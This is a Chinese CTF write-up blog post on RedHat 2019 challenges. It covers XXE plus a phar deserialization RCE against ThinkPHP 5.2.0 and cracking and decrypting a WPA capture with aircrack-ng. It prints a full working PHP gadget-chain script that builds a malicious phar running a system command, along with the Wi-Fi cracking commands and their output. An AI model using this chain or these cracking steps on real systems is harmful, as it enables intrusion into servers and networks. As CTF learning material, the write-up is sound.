RedHat2019部分Web+Misc

​ 上个月初周末连着打了两场,湖湘杯和红帽杯,本想着比赛完抽个时间把WriteUp补补,题目照着wp再做一遍,各种原因推到这个月,然后赛题环境也被关了。。。两场下来拼死做了两三个题,差的还是有点多,这次依旧贴上网上的WriteUp。

web

Ticket_System

查看源码,得到暗示/hints.txt,告诉我们hint.txt不在web根目录,在服务器根目录。

然后看样子,是要我们上传ticket(xml?)。

两个注入点,一个是xml的文件上传,一个是ticket的表单提交,但是在xml的提交界面,没找到注入点,遂做到这里就卒了,其实依旧是xxe,不过是在ticket中。

xxe执行成功后,继续读根目录下hints.txt,了解到要想得到flag,必须执行远程代码执行漏洞

除了file协议XXE同样能执行phar协议,并且从报错页面得知thinkphp的版本为5.2.0,利用thinkphp的反序列化链即可实现rce,这里直接上大师傅的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}

namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}

trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");

public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}

}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}

namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}

namespace {
$Conver = new think\model\Pivot("perl /tmp/uploads/4c7e666e48a33cbf1a0fb89ac69c1014/20191110/d46fcd63923e7897cc7674913a47a99f.xml");
$payload = new think\process\pipes\Windows($Conver);
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>

生成出来的1.phar改一下后缀为1.xml,上传上去,得到路径后,直接phar协议搞到flag。

Misc

恶臭的数据包

貌似这个题工作室的学长大佬们也做出来了,刚开始是一个流量包,使用kali的aircrack解包,同时获得密码12345678。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#查看essid
root@kali:~/Desktop# aircrack-ng cacosmia.cap
Opening cacosmia.cap
Read 4276 packets.
# BSSID ESSID Encryption
1 1A:D7:17:98:D0:51 mamawoxiangwantiequan WPA (1 handshake)
Choosing first network as target.
Aircrack-ng 1.3
Passphrase not in dictionary
Please specify a 151/235 keys tested w).
Time left: 0 seconds 64.26%
Quitting aircrack-ng...
#爆破密码
root@kali:~/Desktop# aircrack-ng cacosmia.cap -w /usr/share/wordlists/fern-wifi/common.txt
Opening cacosmia.cap
Read 4276 packets.
[00:00:00] 16/688 keys tested (1029.20 k/s)
Time left: 0 seconds 2.33%
KEY FOUND! [ 12345678 ]

Master Key : B4 2C 77 C0 A8 F4 E6 E9 9F 85 1B ED 7B 3F 5A 91
3C AA D4 42 B9 6D 5C D2 A1 90 E3 F9 75 B3 6D 9F
Transient Key : 8B D7 4A 1F 2A 0D B7 40 C1 3B BC C9 13 60 46 E5
49 4E 9B 9A AF BD E3 89 33 5A 73 C8 95 AC 53 94
AF 92 D1 D9 ED E4 B2 AF 40 C1 03 D8 98 2D 8A 90
00 58 39 CF C2 9E B9 80 A2 D5 86 57 9A 00 00 00
EAPOL HMAC : D8 97 A1 FD CF F2 87 89 6A 19 EF 14 44 33 E0 3C
#用essid和密码解密流量包
root@kali:~/Desktop# airdecap-ng cacosmia.cap -e mamawoxiangwantiequan -p 12345678
Total number of packets read 4276
Total number of WEP data packets 0
Total number of WPA data packets 685
Number of plaintext data packets 0
Number of decrypted WEP packets 0
Number of corrupted WEP packets 0
Number of decrypted WPA packets 538

然后wireshark打开解密的流量包,发现有一个png图片。

winhex打开发现末尾有个压缩包,提取出来之后发现要密码,不知道密码是啥,爆破无果,后来回到压缩包发现token的session。

解密看看:

然后根据提示,密码是之前ping过的一个网站,直接找tcp/udp的包,找到密码,填入后得到flag

还有一道略狗的题目,考的逻辑电路,就不贴出来了。(王立明老师保佑我数字逻辑别挂)

Author: De-m0n
Link: http://De-m0n.github.io/2019/12/03/redhat2019/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
  • 支付寶